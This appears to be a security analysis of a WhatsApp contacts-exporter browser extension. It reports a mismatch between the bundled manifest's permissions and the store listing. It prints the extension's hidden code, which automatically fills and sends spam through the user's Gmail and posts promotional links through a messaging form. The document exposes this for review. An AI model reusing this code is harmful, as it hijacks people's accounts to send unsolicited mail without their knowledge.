WAXP - Contacts Exporter for WhatsApp

The bundled manifest declares MV3 with only the activeTab permission, no host_permissions, no externally_connectable, and no web_accessible_resources. The published CWS listing reports MV2 with storage, identity, identity.email, and *://api.gumroad.com/* permissions plus externally_connectable and web_accessible_resources listing client.js and libphonenumber-max.js. This is a material discrepancy: the installed extension likely operates under the published MV2 permission set, granting identity and storage access that are entirely absent from the reviewed bundle. A manifest that misrepresents its permission footprint is a high-severity integrity failure regardless of whether intent is proven.

{  "manifest_version": 3,  "permissions": [    "activeTab"  ],  "background": {    "service_worker": "jquery.min.js"  },  "content_scripts": [    {      "js": [        "contentscript.js"      ],      "matches": [        "*://web.whatsapp.com/*"      ]    }  ],  "version": "1.0.9"}

This routine reads a stored list of email addresses from localStorage.allEmails, then programmatically fills Gmail's compose form (To, Subject, Body) and clicks the Send button to deliver promotional spam advertising the publisher's 'Whatsapp Bulk Marketing Software' at soletstalkdigital.com. The code executes automatically 20 seconds after page load whenever localStorage.autoGmail equals 'true'. This functionality is entirely unrelated to WhatsApp contact extraction, is not disclosed in the CWS data-collection categories, and turns the user's Gmail account into a spam delivery mechanism for the publisher's commercial products. The file is loaded into web.whatsapp.com for paid licensees via commonFindOnce.js / chrome.tabs.executeScript.

function doSendEmail() {  function sendGmail(to, subject, content) {    document.getElementsByName("to")[0].value = to;    document.getElementsByName("subject")[0].value = subject;    document.getElementsByName("body")[0].value = content;    findaValue("Send", "input").click();  }  function prepareBody(name) {    return "Hi " + name + "\n\tI found your email on social media. Whatsapp Bulk Marketing Software is a great tool ... More info at\nhttps://soletstalkdigital.com ...";  }  function emailNum(num) {    allEmails = JSON.parse(localStorage.allEmails);    return allEmails[num];  }  function currentPlus() {    localStorage.currentEmail = parseInt(localStorage.currentEmail) + 1;  }  var ce = emailNum(localStorage.currentEmail);  sendGmail(ce.email, "Watch Out New Software", prepareBody(ce.name));  currentPlus();}function doBoth() {  if (findaValue("Send", "input")) {    doSendEmail();  } else {    finda("Compose\u00a0Mail", "a").click();  }}if (localStorage.autoGmail == "true") {  console.log(localStorage.currentEmail);  setTimeout(doBoth, 20000);}

This function injects promotional text ('head over to https://soletstalkdigital.com') into a message compose field and clicks Send, automating outbound messaging on behalf of the publisher. While no auto-trigger for this specific function was found in the reviewed bundle, its presence alongside the auto-triggering doSendEmail/doBoth pattern in the same file demonstrates a pattern of covert promotional automation using the user's messaging accounts.

function peperonityMessage() {  a = finda("Write a message", "a");  b = findaValue("Send message", "input");  c = finda("Continue", "a");  if (a) {    a.click();  } else if (b) {    message.value = "head over to https://soletstalkdigital.com for more such software";    b.click();  } else if (c) {    c.click();  }}